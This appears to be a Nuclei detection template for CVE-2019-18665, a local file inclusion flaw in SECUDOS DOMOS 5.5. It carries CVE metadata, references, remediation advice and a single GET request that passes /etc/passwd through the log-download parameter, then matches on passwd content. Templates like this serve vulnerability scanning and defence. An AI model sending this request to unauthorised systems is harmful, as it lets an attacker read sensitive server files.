id: CVE-2019-18665

info:
  name: DOMOS 5.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SECUDOS DOMOS before 5.6 allows local file inclusion via the log module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest patch or update to a version that is not affected by this vulnerability.
  reference:
    - https://atomic111.github.io/article/secudos-domos-directory_traversal
    - https://vuldb.com/?id.144804
    - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18665
    - https://www.cybersecurity-help.cz/vdb/SB2019110403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18665
    cwe-id: CWE-22
    epss-score: 0.72898
    epss-percentile: 0.98801
    cpe: cpe:2.3:a:secudos:domos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: secudos
    product: domos
  tags: cve,cve2019,domos,lfi,secudos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203e6eceb664d0a4daddc286f15b6684a31b44a3fb64ce1eb7cef7affb19619e17022100abcbc76cab76f3756f2ef4daafce7f25c8178f82b55f54bea57bc78207edd0b3:922c64590222798bb761d5b6d8e72950